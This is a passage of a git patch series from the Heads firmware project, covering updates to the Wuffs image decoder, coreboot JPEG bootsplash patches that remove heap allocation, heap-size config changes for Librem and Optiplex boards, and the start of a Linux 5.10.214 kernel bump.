(size_t)len); + if (!ptr) { + return AllocWorkbufResult(DecodeImage_OutOfMemory); + } +@@ -63153,15 +79722,13 @@ const char DecodeImage_UnsupportedPixelConfiguration[] = // + const char DecodeImage_UnsupportedPixelFormat[] = // + "wuffs_aux::DecodeImage: unsupported pixel format"; + +-DecodeImageArgQuirks::DecodeImageArgQuirks(wuffs_base__slice_u32 repr0) +- : repr(repr0) {} +- +-DecodeImageArgQuirks::DecodeImageArgQuirks(uint32_t* ptr0, size_t len0) +- : repr(wuffs_base__make_slice_u32(ptr0, len0)) {} ++DecodeImageArgQuirks::DecodeImageArgQuirks(const QuirkKeyValuePair* ptr0, ++ const size_t len0) ++ : ptr(ptr0), len(len0) {} + + DecodeImageArgQuirks // + DecodeImageArgQuirks::DefaultValue() { +- return DecodeImageArgQuirks(wuffs_base__empty_slice_u32()); ++ return DecodeImageArgQuirks(nullptr, 0); + } + + DecodeImageArgFlags::DecodeImageArgFlags(uint64_t repr0) : repr(repr0) {} +@@ -63259,7 +79826,8 @@ DecodeImage0(wuffs_base__image_decoder::unique_ptr& image_decoder, + DecodeImageCallbacks& callbacks, + sync_io::Input& input, + wuffs_base__io_buffer& io_buf, +- wuffs_base__slice_u32 quirks, ++ const QuirkKeyValuePair* quirks_ptr, ++ const size_t quirks_len, + uint64_t flags, + wuffs_base__pixel_blend pixel_blend, + wuffs_base__color_u32_argb_premul background_color, +@@ -63301,7 +79869,7 @@ redirect: + fourcc = 0; + break; + } +- std::string error_message = input.CopyIn(&io_buf, 0); ++ std::string error_message = input.CopyIn(&io_buf); + if (!error_message.empty()) { + return DecodeImageResult(std::move(error_message)); + } +@@ -63342,8 +79910,8 @@ redirect: + } + + // Apply quirks. +- for (size_t i = 0; i < quirks.len; i++) { +- image_decoder->set_quirk(quirks.ptr[i], 1); ++ for (size_t i = 0; i < quirks_len; i++) { ++ image_decoder->set_quirk(quirks_ptr[i].first, quirks_ptr[i].second); + } + + // Apply flags. +@@ -63397,8 +79965,7 @@ redirect: + } else if (io_buf.meta.closed) { + return DecodeImageResult(DecodeImage_UnexpectedEndOfFile); + } else { +- std::string error_message = +- input.CopyIn(&io_buf, image_decoder->history_retain_length()); ++ std::string error_message = input.CopyIn(&io_buf); + if (!error_message.empty()) { + return DecodeImageResult(std::move(error_message)); + } +@@ -63480,8 +80047,7 @@ redirect: + } else if (io_buf.meta.closed) { + return DecodeImageResult(DecodeImage_UnexpectedEndOfFile); + } else { +- std::string error_message = +- input.CopyIn(&io_buf, image_decoder->history_retain_length()); ++ std::string error_message = input.CopyIn(&io_buf); + if (!error_message.empty()) { + return DecodeImageResult(std::move(error_message)); + } +@@ -63510,8 +80076,7 @@ redirect: + message = DecodeImage_UnexpectedEndOfFile; + break; + } else { +- std::string error_message = +- input.CopyIn(&io_buf, image_decoder->history_retain_length()); ++ std::string error_message = input.CopyIn(&io_buf); + if (!error_message.empty()) { + message = std::move(error_message); + break; +@@ -63539,8 +80104,7 @@ redirect: + } else if (io_buf.meta.closed) { + return DecodeImageResult(DecodeImage_UnexpectedEndOfFile); + } else { +- std::string error_message = +- input.CopyIn(&io_buf, image_decoder->history_retain_length()); ++ std::string error_message = input.CopyIn(&io_buf); + if (!error_message.empty()) { + return DecodeImageResult(std::move(error_message)); + } +@@ -63574,10 +80138,10 @@ DecodeImage(DecodeImageCallbacks& callbacks, + } + + wuffs_base__image_decoder::unique_ptr image_decoder(nullptr); +- DecodeImageResult result = +- DecodeImage0(image_decoder, callbacks, input, *io_buf, quirks.repr, +- flags.repr, pixel_blend.repr, background_color.repr, +- max_incl_dimension.repr, max_incl_metadata_length.repr); ++ DecodeImageResult result = DecodeImage0( ++ image_decoder, callbacks, input, *io_buf, quirks.ptr, quirks.len, ++ flags.repr, pixel_blend.repr, background_color.repr, ++ max_incl_dimension.repr, max_incl_metadata_length.repr); + callbacks.Done(result, input, *io_buf, std::move(image_decoder)); + return result; + } +@@ -63612,15 +80176,13 @@ const char DecodeJson_BadJsonPointer[] = // + const char DecodeJson_NoMatch[] = // + "wuffs_aux::DecodeJson: no match"; + +-DecodeJsonArgQuirks::DecodeJsonArgQuirks(wuffs_base__slice_u32 repr0) +- : repr(repr0) {} +- +-DecodeJsonArgQuirks::DecodeJsonArgQuirks(uint32_t* ptr0, size_t len0) +- : repr(wuffs_base__make_slice_u32(ptr0, len0)) {} ++DecodeJsonArgQuirks::DecodeJsonArgQuirks(const QuirkKeyValuePair* ptr0, ++ const size_t len0) ++ : ptr(ptr0), len(len0) {} + + DecodeJsonArgQuirks // + DecodeJsonArgQuirks::DefaultValue() { +- return DecodeJsonArgQuirks(wuffs_base__empty_slice_u32()); ++ return DecodeJsonArgQuirks(nullptr, 0); + } + + DecodeJsonArgJsonPointer::DecodeJsonArgJsonPointer(std::string repr0) +@@ -63633,58 +80195,58 @@ DecodeJsonArgJsonPointer::DefaultValue() { + + // -------- + +-#define WUFFS_AUX__DECODE_JSON__GET_THE_NEXT_TOKEN \ +- while (tok_buf.meta.ri >= tok_buf.meta.wi) { \ +- if (tok_status.repr == nullptr) { \ +- goto done; \ +- } else if (tok_status.repr == wuffs_base__suspension__short_write) { \ +- tok_buf.compact(); \ +- } else if (tok_status.repr == wuffs_base__suspension__short_read) { \ +- if (!io_error_message.empty()) { \ +- ret_error_message = std::move(io_error_message); \ +- goto done; \ +- } else if (cursor_index != io_buf->meta.ri) { \ +- ret_error_message = \ +- "wuffs_aux::DecodeJson: internal error: bad cursor_index"; \ +- goto done; \ +- } else if (io_buf->meta.closed) { \ +- ret_error_message = \ +- "wuffs_aux::DecodeJson: internal error: io_buf is closed"; \ +- goto done; \ +- } \ +- io_buf->compact_retaining(dec->history_retain_length()); \ +- if (io_buf->meta.wi >= io_buf->data.len) { \ +- ret_error_message = \ +- "wuffs_aux::DecodeJson: internal error: io_buf is full"; \ +- goto done; \ +- } \ +- cursor_index = io_buf->meta.ri; \ +- io_error_message = input.CopyIn(io_buf, dec->history_retain_length()); \ +- } else { \ +- ret_error_message = tok_status.message(); \ +- goto done; \ +- } \ +- tok_status = \ +- dec->decode_tokens(&tok_buf, io_buf, wuffs_base__empty_slice_u8()); \ +- if ((tok_buf.meta.ri > tok_buf.meta.wi) || \ +- (tok_buf.meta.wi > tok_buf.data.len) || \ +- (io_buf->meta.ri > io_buf->meta.wi) || \ +- (io_buf->meta.wi > io_buf->data.len)) { \ +- ret_error_message = \ +- "wuffs_aux::DecodeJson: internal error: bad buffer indexes"; \ +- goto done; \ +- } \ +- } \ +- wuffs_base__token token = tok_buf.data.ptr[tok_buf.meta.ri++]; \ +- uint64_t token_len = token.length(); \ +- if ((io_buf->meta.ri < cursor_index) || \ +- ((io_buf->meta.ri - cursor_index) < token_len)) { \ +- ret_error_message = \ +- "wuffs_aux::DecodeJson: internal error: bad token indexes"; \ +- goto done; \ +- } \ +- uint8_t* token_ptr = io_buf->data.ptr + cursor_index; \ +- (void)(token_ptr); \ ++#define WUFFS_AUX__DECODE_JSON__GET_THE_NEXT_TOKEN \ ++ while (tok_buf.meta.ri >= tok_buf.meta.wi) { \ ++ if (tok_status.repr == nullptr) { \ ++ goto done; \ ++ } else if (tok_status.repr == wuffs_base__suspension__short_write) { \ ++ tok_buf.compact(); \ ++ } else if (tok_status.repr == wuffs_base__suspension__short_read) { \ ++ if (!io_error_message.empty()) { \ ++ ret_error_message = std::move(io_error_message); \ ++ goto done; \ ++ } else if (cursor_index != io_buf->meta.ri) { \ ++ ret_error_message = \ ++ "wuffs_aux::DecodeJson: internal error: bad cursor_index"; \ ++ goto done; \ ++ } else if (io_buf->meta.closed) { \ ++ ret_error_message = \ ++ "wuffs_aux::DecodeJson: internal error: io_buf is closed"; \ ++ goto done; \ ++ } \ ++ io_buf->compact(); \ ++ if (io_buf->meta.wi >= io_buf->data.len) { \ ++ ret_error_message = \ ++ "wuffs_aux::DecodeJson: internal error: io_buf is full"; \ ++ goto done; \ ++ } \ ++ cursor_index = io_buf->meta.ri; \ ++ io_error_message = input.CopyIn(io_buf); \ ++ } else { \ ++ ret_error_message = tok_status.message(); \ ++ goto done; \ ++ } \ ++ tok_status = \ ++ dec->decode_tokens(&tok_buf, io_buf, wuffs_base__empty_slice_u8()); \ ++ if ((tok_buf.meta.ri > tok_buf.meta.wi) || \ ++ (tok_buf.meta.wi > tok_buf.data.len) || \ ++ (io_buf->meta.ri > io_buf->meta.wi) || \ ++ (io_buf->meta.wi > io_buf->data.len)) { \ ++ ret_error_message = \ ++ "wuffs_aux::DecodeJson: internal error: bad buffer indexes"; \ ++ goto done; \ ++ } \ ++ } \ ++ wuffs_base__token token = tok_buf.data.ptr[tok_buf.meta.ri++]; \ ++ uint64_t token_len = token.length(); \ ++ if ((io_buf->meta.ri < cursor_index) || \ ++ ((io_buf->meta.ri - cursor_index) < token_len)) { \ ++ ret_error_message = \ ++ "wuffs_aux::DecodeJson: internal error: bad token indexes"; \ ++ goto done; \ ++ } \ ++ uint8_t* token_ptr = io_buf->data.ptr + cursor_index; \ ++ (void)(token_ptr); \ + cursor_index += static_cast(token_len) + + // -------- +@@ -63965,11 +80527,11 @@ DecodeJson(DecodeJsonCallbacks& callbacks, + goto done; + } + bool allow_tilde_n_tilde_r_tilde_t = false; +- for (size_t i = 0; i < quirks.repr.len; i++) { +- dec->set_quirk(quirks.repr.ptr[i], 1); +- if (quirks.repr.ptr[i] == ++ for (size_t i = 0; i < quirks.len; i++) { ++ dec->set_quirk(quirks.ptr[i].first, quirks.ptr[i].second); ++ if (quirks.ptr[i].first == + WUFFS_JSON__QUIRK_JSON_POINTER_ALLOW_TILDE_N_TILDE_R_TILDE_T) { +- allow_tilde_n_tilde_r_tilde_t = true; ++ allow_tilde_n_tilde_r_tilde_t = (quirks.ptr[i].second != 0); + } + } + +@@ -64025,7 +80587,7 @@ DecodeJson(DecodeJsonCallbacks& callbacks, + goto done; + } + depth++; +- if (depth > WUFFS_JSON__DECODER_DEPTH_MAX_INCL) { ++ if (depth > (int32_t)WUFFS_JSON__DECODER_DEPTH_MAX_INCL) { + ret_error_message = + "wuffs_aux::DecodeJson: internal error: bad depth"; + goto done; +-- +2.39.2 + diff --git a/patches/coreboot-24.02.01/0002-increase_heap_from1mb_to4mb_when_bootpslash_enabled.patch b/patches/coreboot-24.02.01/0002-increase_heap_from1mb_to4mb_when_bootpslash_enabled.patch deleted file mode 100644 index a31118c14..000000000 --- a/patches/coreboot-24.02.01/0002-increase_heap_from1mb_to4mb_when_bootpslash_enabled.patch +++ /dev/null @@ -1,44 +0,0 @@ -From 00d695849a5fb503d87203e3515f761fa8dac850 Mon Sep 17 00:00:00 2001 -From: Jonathon Hall -Date: Mon, 15 Jul 2024 16:37:40 -0400 -Subject: [PATCH] bootsplash: Increase heap from 1 MB to 4 MB when bootsplash - is enabled - -Since commit 1d029b40c9de ("lib/jpeg: Replace decoder with Wuffs' -implementation"), a relatively large heap allocation is needed to -decode many JPEGs for use as work area. The prior decoder did not need -this, but also had many limitations in the JPEGs it could decode. - -A 1024x768 non-progressive JPEG used in Heads needs 1179648 bytes of -work area; about 1.2 MB. While the work area will also depend on the -subsampling of each channel, it's generally proportional to the image -size. - -Increasing the heap size to 4 MB when bootsplash is enabled should be -enough to decode bootsplashes up to 1920x1080 with some headroom. - -Change-Id: Ia4348d39effbc16c1b42ab01bcf1e4ec5d652fa9 -Signed-off-by: Jonathon Hall ---- - src/device/Kconfig | 5 +++++ - 1 file changed, 5 insertions(+) - -diff --git a/src/device/Kconfig b/src/device/Kconfig -index 243e23e52a..4dd03eba21 100644 ---- a/src/device/Kconfig -+++ b/src/device/Kconfig -@@ -501,6 +501,11 @@ config BOOTSPLASH - image in the 'General' section or add it manually to CBFS, using, - for example, cbfstool. - -+# The bootsplash JPEG decoder requires heap space approximately proportional to -+# the image size. This usually needs a larger heap. -+config HEAP_SIZE -+ default 0x400000 if BOOTSPLASH -+ - config LINEAR_FRAMEBUFFER_MAX_WIDTH - int "Maximum width in pixels" - depends on LINEAR_FRAMEBUFFER && MAINBOARD_USE_LIBGFXINIT --- -2.39.2 - diff --git a/patches/coreboot-24.02.01/0002-lib_jpeg-avoidcalling-malloc-and-free.patch b/patches/coreboot-24.02.01/0002-lib_jpeg-avoidcalling-malloc-and-free.patch new file mode 100644 index 000000000..fa1310628 --- /dev/null +++ b/patches/coreboot-24.02.01/0002-lib_jpeg-avoidcalling-malloc-and-free.patch @@ -0,0 +1,91 @@ +From efad423f8472c1b9c130842e3d92625500f82d5d Mon Sep 17 00:00:00 2001 +From: Nigel Tao +Date: Tue, 13 Aug 2024 22:29:21 +1000 +Subject: [PATCH] lib/jpeg: avoid calling malloc and free + +Since commit 1d029b40c9de ("lib/jpeg: Replace decoder with Wuffs' +implementation"), a relatively large heap allocation is needed to decode +many JPEGs for use as work area. The prior decoder did not need this, +but also had many limitations in the JPEGs it could decode, was not as +memory-safe and quickly crashed under fuzzing. + +This commit keeps using Wuffs' JPEG decoder, but it no longer requires +any heap allocation (and thus configuring the heap size depending on how +big a bootsplash image you want to support). + +Change-Id: Ie4c52520cbce498539517c4898ff765365a6beba +Signed-off-by: Nigel Tao +Reviewed-on: https://review.coreboot.org/c/coreboot/+/83895 +Tested-by: build bot (Jenkins) +Reviewed-by: Nico Huber +Reviewed-by: Felix Singer +Reviewed-by: Jonathon Hall +--- + src/lib/jpeg.c | 36 +++++++++++++++++++++--------------- + 1 file changed, 21 insertions(+), 15 deletions(-) + +diff --git a/src/lib/jpeg.c b/src/lib/jpeg.c +index 242cf0ca8e..617ab0b22a 100644 +--- a/src/lib/jpeg.c ++++ b/src/lib/jpeg.c +@@ -1,9 +1,7 @@ + /* SPDX-License-Identifier: GPL-2.0-only */ + + /* +- * Provide a simple API around the Wuffs JPEG decoder +- * Uses the heap (and lots of it) for the image-size specific +- * work buffer, so ramstage-only. ++ * Provide a simple API around the Wuffs JPEG decoder. + */ + + #include +@@ -85,6 +83,24 @@ int jpeg_decode(unsigned char *filedata, size_t filesize, unsigned char *pic, + return JPEG_DECODE_FAILED; + } + ++ /* Opting in to lower quality means that we can pass an empty slice as the ++ * "work buffer" argument to wuffs_jpeg__decoder__decode_frame below. ++ * ++ * Decoding progressive (not sequential) JPEGs would still require dynamic ++ * memory allocation (and the amount of work buffer required depends on the ++ * image dimensions), but we choose to just reject progressive JPEGs. It is ++ * simpler than sometimes calling malloc (which can fail, especially for ++ * large allocations) and free. ++ * ++ * More commentary about these quirks is at ++ * https://github.com/google/wuffs/blob/beaf45650085a16780b5f708b72daaeb1aa865c8/std/jpeg/decode_quirks.wuffs ++ */ ++ wuffs_jpeg__decoder__set_quirk( ++ &dec, WUFFS_BASE__QUIRK_QUALITY, ++ WUFFS_BASE__QUIRK_QUALITY__VALUE__LOWER_QUALITY); ++ wuffs_jpeg__decoder__set_quirk( ++ &dec, WUFFS_JPEG__QUIRK_REJECT_PROGRESSIVE_JPEGS, 1); ++ + wuffs_base__image_config imgcfg; + wuffs_base__io_buffer src = wuffs_base__ptr_u8__reader(filedata, filesize, true); + status = wuffs_jpeg__decoder__decode_image_config(&dec, &imgcfg, &src); +@@ -104,19 +120,9 @@ int jpeg_decode(unsigned char *filedata, size_t filesize, unsigned char *pic, + return JPEG_DECODE_FAILED; + } + +- uint64_t workbuf_len_min_incl = wuffs_jpeg__decoder__workbuf_len(&dec).min_incl; +- uint8_t *workbuf_array = malloc(workbuf_len_min_incl); +- if ((workbuf_array == NULL) && workbuf_len_min_incl) { +- return JPEG_DECODE_FAILED; +- } +- +- wuffs_base__slice_u8 workbuf = +- wuffs_base__make_slice_u8(workbuf_array, workbuf_len_min_incl); + status = wuffs_jpeg__decoder__decode_frame(&dec, &pixbuf, &src, +- WUFFS_BASE__PIXEL_BLEND__SRC, workbuf, NULL); +- +- free(workbuf_array); +- ++ WUFFS_BASE__PIXEL_BLEND__SRC, ++ wuffs_base__empty_slice_u8(), NULL); + if (status.repr) { + return JPEG_DECODE_FAILED; + } +-- +2.39.2 + From cd64f3cc2ac9651ca4fd901a97cfd5897b9b34b1 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 18 Oct 2024 17:22:03 -0400 Subject: [PATCH 293/619] modules/coreboot: Update Purism coreboot with latest JPEG decoder patch Instead of requesting additional ramstage heap, cherry-pick patches for newer JPEG decoder that does not require heap allocation. Signed-off-by: Jonathon Hall Signed-off-by: Thierry Laurion --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index 13fc943f4..23de9a45c 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -88,7 +88,7 @@ $(eval $(call coreboot_module,talos_2,)) # coreboot-purism is based on 24.02.01 - reuse that toolchain. coreboot-purism_repo := https://source.puri.sm/firmware/coreboot.git -coreboot-purism_commit_hash := f4f61b75bcfc50fa3a89f8f438e5312e750f6e3c +coreboot-purism_commit_hash := bea9947a1279be7d4a72b38a601d0288d10d1cb8 $(eval $(call coreboot_module,purism,24.02.01)) # MSI and Nitropad NV41 / NS50 boards are based on Dasharo coreboot port From f82785565de7316c7c435e8483c6c80154002f79 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 19 Oct 2024 09:31:05 -0400 Subject: [PATCH 294/619] librems coreboot configs: apply coreboot.save_in_oldconfig_format_in_place Signed-off-by: Thierry Laurion --- config/coreboot-librem_11.config | 2 +- config/coreboot-librem_13v2.config | 2 +- config/coreboot-librem_13v4.config | 2 +- config/coreboot-librem_14.config | 2 +- config/coreboot-librem_15v3.config | 2 +- config/coreboot-librem_15v4.config | 2 +- config/coreboot-librem_l1um_v2.config | 2 +- config/coreboot-librem_mini.config | 2 +- config/coreboot-librem_mini_v2.config | 2 +- 9 files changed, 9 insertions(+), 9 deletions(-) diff --git a/config/coreboot-librem_11.config b/config/coreboot-librem_11.config index e4fb403d6..a1e0af90c 100644 --- a/config/coreboot-librem_11.config +++ b/config/coreboot-librem_11.config @@ -478,7 +478,6 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y @@ -623,6 +622,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console diff --git a/config/coreboot-librem_13v2.config b/config/coreboot-librem_13v2.config index 699c54a30..31494c992 100644 --- a/config/coreboot-librem_13v2.config +++ b/config/coreboot-librem_13v2.config @@ -501,7 +501,6 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y @@ -662,6 +661,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console diff --git a/config/coreboot-librem_13v4.config b/config/coreboot-librem_13v4.config index 84b37ae2e..1aaba3d47 100644 --- a/config/coreboot-librem_13v4.config +++ b/config/coreboot-librem_13v4.config @@ -501,7 +501,6 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y @@ -662,6 +661,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console diff --git a/config/coreboot-librem_14.config b/config/coreboot-librem_14.config index f72db4392..6333e19d9 100644 --- a/config/coreboot-librem_14.config +++ b/config/coreboot-librem_14.config @@ -498,7 +498,6 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y @@ -668,6 +667,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console diff --git a/config/coreboot-librem_15v3.config b/config/coreboot-librem_15v3.config index 395a8be81..d85654155 100644 --- a/config/coreboot-librem_15v3.config +++ b/config/coreboot-librem_15v3.config @@ -501,7 +501,6 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y @@ -662,6 +661,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console diff --git a/config/coreboot-librem_15v4.config b/config/coreboot-librem_15v4.config index dd16e94c0..f277f7c56 100644 --- a/config/coreboot-librem_15v4.config +++ b/config/coreboot-librem_15v4.config @@ -501,7 +501,6 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y @@ -662,6 +661,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console diff --git a/config/coreboot-librem_l1um_v2.config b/config/coreboot-librem_l1um_v2.config index ca70ea96f..b9b6edb95 100644 --- a/config/coreboot-librem_l1um_v2.config +++ b/config/coreboot-librem_l1um_v2.config @@ -498,7 +498,6 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y @@ -658,6 +657,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console diff --git a/config/coreboot-librem_mini.config b/config/coreboot-librem_mini.config index 62d2c37df..d4842e182 100644 --- a/config/coreboot-librem_mini.config +++ b/config/coreboot-librem_mini.config @@ -502,7 +502,6 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y @@ -650,6 +649,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console diff --git a/config/coreboot-librem_mini_v2.config b/config/coreboot-librem_mini_v2.config index 85ed80b70..cbe34a87a 100644 --- a/config/coreboot-librem_mini_v2.config +++ b/config/coreboot-librem_mini_v2.config @@ -504,7 +504,6 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y @@ -657,6 +656,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console From ee6e05b2bd83280bb2a47e09ca097d89f16badce Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 30 Oct 2024 09:52:18 -0400 Subject: [PATCH 295/619] Optiplex coreboot configs: coreboot.modify_and_save_oldconfig_in_place to fix CONFIG_HEAP_SIZE Did for TXT/non-TXT boards: docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=optiplex-7010_9010*-hotp-maximized coreboot.modify_and_save_oldconfig_in_place Signed-off-by: Thierry Laurion --- config/coreboot-optiplex-7019_9010-maximized.config | 2 +- config/coreboot-optiplex-7019_9010_TXT-maximized.config | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/config/coreboot-optiplex-7019_9010-maximized.config b/config/coreboot-optiplex-7019_9010-maximized.config index 7e07d9028..97d009721 100644 --- a/config/coreboot-optiplex-7019_9010-maximized.config +++ b/config/coreboot-optiplex-7019_9010-maximized.config @@ -385,7 +385,6 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y @@ -535,6 +534,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console diff --git a/config/coreboot-optiplex-7019_9010_TXT-maximized.config b/config/coreboot-optiplex-7019_9010_TXT-maximized.config index 6f2d4fd4a..03be491e0 100644 --- a/config/coreboot-optiplex-7019_9010_TXT-maximized.config +++ b/config/coreboot-optiplex-7019_9010_TXT-maximized.config @@ -389,7 +389,6 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y @@ -549,6 +548,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console From 0679b75e1dee391ea2f7301cec6fcf6d8dc4a851 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 16 Aug 2024 15:08:45 -0400 Subject: [PATCH 296/619] Bump 5.10.5 kernel to 5.10.214 Cloudfare patches to speed up LUKS encryption were upstreamed into linux kernel and backported to 5.10.9: https://github.com/cloudflare/linux/issues/1#issuecomment-763085915 Therefore, we bump to latest of 5.10.x (bump from 5.10.5 which doesn't contain the fixes) Trace: sed -i 's/5.10.5/5.10.214/g' boards/*/*.config find ./boards/*/*.config | awk -F "/" {'print $3'}| while read board; do echo "make BOARD=$board linux"; make BOARD=$board linux; echo make BOARD=$board linux.save_in_oldconfig_format_in_place || make BOARD=$board linux.modify_and_save_oldconfig_in_place; done git status | grep modified | awk -F ":" {'print $2'}| xargs git add git commit --signoff - Move patches from 5.10.5 -> 5.10.214 - Add linux kernel hash and version under modules/linux - Change board configs accordingly Signed-off-by: Thierry Laurion --- ...MAINTAINED_kgpe-d16_server-whiptail.config | 2 +- .../UNMAINTAINED_kgpe-d16_server.config | 2 +- ...D_kgpe-d16_workstation-usb_keyboard.config | 2 +- .../UNMAINTAINED_kgpe-d16_workstation.config | 2 +- boards/librem_l1um/librem_l1um.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2.config | 2 +- .../qemu-coreboot-whiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm1.config | 2 +- .../qemu-coreboot-whiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm2.config | 2 +- .../t420-hotp-maximized.config | 2 +- boards/t420-maximized/t420-maximized.config | 2 +- .../t430-hotp-maximized.config | 2 +- boards/t430-maximized/t430-maximized.config | 2 +- boards/t440p-maximized/t440p-maximized.config | 2 +- .../t530-hotp-maximized.config | 2 +- boards/t530-maximized/t530-maximized.config | 2 +- .../w530-hotp-maximized.config | 2 +- boards/w530-maximized/w530-maximized.config | 2 +- boards/w541-maximized/w541-maximized.config | 2 +- .../x220-hotp-maximized.config | 2 +- boards/x220-maximized/x220-maximized.config | 2 +- .../x230-hotp-maximized-fhd_edp.config | 2 +- .../x230-hotp-maximized.config | 2 +- .../x230-hotp-maximized_usb-kb.config | 2 +- .../x230-maximized-fhd_edp.config | 2 +- boards/x230-maximized/x230-maximized.config | 2 +- .../z220-cmt-maximized.config | 2 +- config/linux-c216.config | 62 ++-- 